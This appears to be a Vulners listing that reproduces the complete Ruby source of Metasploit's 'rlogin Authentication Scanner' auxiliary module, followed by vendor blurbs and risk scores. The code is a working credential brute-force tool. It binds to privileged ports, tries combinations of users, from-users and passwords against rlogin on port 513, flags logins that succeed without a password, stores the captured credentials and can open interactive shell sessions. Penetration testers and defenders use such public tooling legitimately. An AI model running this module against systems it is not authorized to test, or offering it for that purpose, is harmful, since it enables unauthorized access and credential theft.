Lucene search
+L

rlogin Authentication Scanner

🗓️ 23 Nov 2010 01:23:24Reported by jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 99 Views

rlogin Authentication Scanner module to test an rlogin service on machines and report successful logins. Requires access to privileged ports

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::RServices
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Login
  include Msf::Auxiliary::CommandShell
  include Msf::Sessions::CreateSessionOptions
  include Msf::Auxiliary::ReportSummary

  def initialize
    super(
      'Name'        => 'rlogin Authentication Scanner',
      'Description' => %q{
          This module will test an rlogin service on a range of machines and
        report successful logins.

        NOTE: This module requires access to bind to privileged ports (below 1024).
      },
      'References' =>
        [
          [ 'CVE', '1999-0651' ],
          [ 'CVE', '1999-0502'] # Weak password
        ],
      'Author'      => [ 'jduck' ],
      'License'     => MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(513),
        OptString.new('TERM',  [ true, 'The terminal type desired', 'vt100' ]),
        OptString.new('SPEED', [ true, 'The terminal speed desired', '9600' ])
      ])
  end

  def run_host(ip)
    print_status("#{ip}:#{rport} - Starting rlogin sweep")

    # We make a first connection to assess initial state of the service. If the
    # service isn't available, we don't even bother to try further attempts against
    # this host. Also, bind errors shouldn't happen and are treated as fatal here.
    status = connect_from_privileged_port
    return :abort if [ :refused, :bind_error ].include? status

    begin
      each_user_fromuser_pass { |user, fromuser, pass|
        ret = try_user_pass(user, fromuser, pass, status)
        status = nil
        ret
      }
    rescue ::Rex::ConnectionError
      nil
    end
  end

  def each_user_fromuser_pass(&block)
    # Class variables to track credential use (for threading)
    @@credentials_tried = {}
    @@credentials_skipped = {}

    credentials = extract_word_pair(datastore['USERPASS_FILE'])

    translate_proto_datastores()

    users = load_user_vars(credentials)
    fromusers = load_fromuser_vars()
    passwords = load_password_vars(credentials)

    cleanup_files()

    if datastore['BLANK_PASSWORDS']
      credentials = gen_blank_passwords(users, credentials)
    end

    credentials.concat(combine_users_and_passwords(users, passwords))
    credentials.uniq!

    # Okay, now we have a list of credentials to try. We want to merge in
    # our list of from users for each user.
    indexes = {}
    credentials.map! { |u,p|
      idx = indexes[u]
      idx ||= 0

      pa = nil
      if idx >= fromusers.length
        pa = [ nil, p ]
      else
        pa = [ fromusers[idx], p ]
        indexes[u] = idx + 1
      end
      [ u, pa ]
    }

    # If there are more fromusers than passwords, append nil passwords, which will be handled
    # specially by the login processing.
    indexes.each_key { |u|
      idx = indexes[u]
      while idx < fromusers.length
        credentials << [ u, [ fromusers[idx], nil ] ]
        idx += 1
      end
    }
    indexes = {}

    # We do a second uniq! pass in case we added some dupes somehow
    credentials.uniq!

    fq_rest = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], "all remaining users"]

    credentials.each do |u, fupw|
      break if @@credentials_skipped[fq_rest]

      fq_user = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], u]

      userpass_sleep_interval unless @@credentials_tried.empty?

      next if @@credentials_skipped[fq_user]
      next if @@credentials_tried[fq_user] == fupw

      fu,p = fupw
      ret = block.call(u, fu, p)

      case ret
      when :abort # Skip the current host entirely.
        break

      when :next_user # This means success for that user.
        @@credentials_skipped[fq_user] = fupw
        if datastore['STOP_ON_SUCCESS'] # See?
          @@credentials_skipped[fq_rest] = true
        end

      when :skip_user # Skip the user in non-success cases.
        @@credentials_skipped[fq_user] = fupw

      when :connection_error # Report an error, skip this cred, but don't abort.
        vprint_error "#{datastore['RHOST']}:#{datastore['RPORT']} - Connection error, skipping '#{u}':'#{p}' from '#{fu}'"

      end
      @@credentials_tried[fq_user] = fupw
    end
  end


  def try_user_pass(user, luser, pass, status = nil)
    luser ||= 'root'

    vprint_status "#{rhost}:#{rport} rlogin - Attempting: '#{user}':#{pass.inspect} from '#{luser}'"

    this_attempt ||= 0
    ret = nil
    while this_attempt <= 3 and (ret.nil? or ret == :refused)
      if this_attempt > 0
        # power of 2 back-off
        select(nil, nil, nil, 2**this_attempt)
        vprint_error "#{rhost}:#{rport} rlogin - Retrying '#{user}':#{pass.inspect} from '#{luser}' due to reset"
      end
      ret = do_login(user, pass, luser, status)
      this_attempt += 1
    end

    case ret
    when :no_pass_prompt
      vprint_status "#{rhost}:#{rport} rlogin - Skipping '#{user}' due to missing password prompt"
      return :skip_user

    when :busy
      vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':#{pass.inspect} from '#{luser}' due to busy state"

    when :refused
      vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':#{pass.inspect} from '#{luser}' due to connection refused."

    when :skip_user
      vprint_status "#{rhost}:#{rport} rlogin - Skipping disallowed user '#{user}' for subsequent requests"
      return :skip_user

    when :success
      # session created inside do_login, ignore
      return :next_user

    else
      if login_succeeded?
        start_rlogin_session(rhost, rport, user, luser, pass, @trace)
        return :next_user
      end
    end

    # Default to returning whatever we got last..
    ret
  end


  def do_login(user, pass, luser, status = nil)
    # Reset our accumulators for interacting with /bin/login
    @recvd = ''
    @trace = ''

    # We must connect from a privileged port. This only occurs when status
    # is nil. That is, it only occurs when a connection doesn't already exist.
    if not status
      status = connect_from_privileged_port
      return :refused if status == :refused
    end

    # Abort if we didn't get successfully connected.
    return :abort if status != :connected

    # Send the local/remote usernames and the desired terminal type/speed
    sock.put("\x00#{luser}\x00#{user}\x00#{datastore['TERM']}/#{datastore['SPEED']}\x00")

    # Read the expected nul byte response.
    buf = sock.get_once(1) || ''
    return :abort if buf != "\x00"

    # NOTE: We report this here, since we are awfully convinced now that this is really
    # an rlogin service.
    report_service(
      :host => rhost,
      :port => rport,
      :proto => 'tcp',
      :name => 'login'
    )

    # Receive the initial response
    Timeout.timeout(10) do
      recv
    end

    if busy_message?
      self.sock.close unless self.sock.closed?
      return :busy
    end

    # If we're not trusted, we should get a password prompt. Otherwise, we might be in already :)
    if login_succeeded?
      # should we report a vuln here? rlogin allowed w/o password?!
      print_good("#{target_host}:#{rport}, rlogin '#{user}' from '#{luser}' with no password.")
      start_rlogin_session(rhost, rport, user, luser, nil, @trace)
      return :success
    end

    # no password to try, give up if luser isnt enough.
    if not pass
      vprint_error("#{target_host}:#{rport}, rlogin '#{user}' from '#{luser}' failed (no password to try)")
      return :fail
    end

    # Allow for slow echos
    1.upto(10) do
      recv(self.sock, 0.10) unless @recvd.nil? || password_prompt?(@recvd)
    end

    vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")

    # Not successful yet, maybe we got a password prompt.
    if password_prompt?(user)
      send_pass(pass)

      # Allow for slow echos
      1.upto(10) do
        recv(self.sock, 0.10)
        break if login_succeeded?
      end

      vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")

      if login_succeeded?
        print_good("#{target_host}:#{rport}, rlogin '#{user}' successful with password #{pass.inspect}")
        start_rlogin_session(rhost, rport, user, nil, pass, @trace)
        return :success
      else
        return :fail
      end
    else
      if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/
        return :succeeded # intentionally not :success
      else
        self.sock.close unless self.sock.closed?
        return :no_pass_prompt
      end
    end

  # For debugging only.
  #rescue ::Exception
  #	print_error("#{$!}")

  ensure
    disconnect()
  end

  def start_rlogin_session(host, port, user, luser, pass, proof)
    service_data = {
      address: host,
      port: port,
      service_name: 'rlogin',
      proof: proof,
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: self.fullname,
      origin_type: :service,
      username: user
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    if pass
      service_data.merge!(:pass => pass)
      credential_data.merge!('PASSWORD' => pass)
      info = "RLOGIN #{user}:#{pass} (#{host}:#{port})"
    else
      service_data.merge!(:luser => luser)
      credential_data.merge!('FROMUSER'=> luser)
      info = "RLOGIN #{user} from #{luser} (#{host}:#{port})"
    end

    create_credential_login(login_data)
    if datastore['CreateSession']
      start_session(self, info, login_data, false, self.sock)
      # Don't tie the life of this socket to the exploit
      self.sock = nil
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jun 2024 09:56Current
7.2High risk
Vulners AI Score7.2
CVSS 27.5
EPSS0.53618
99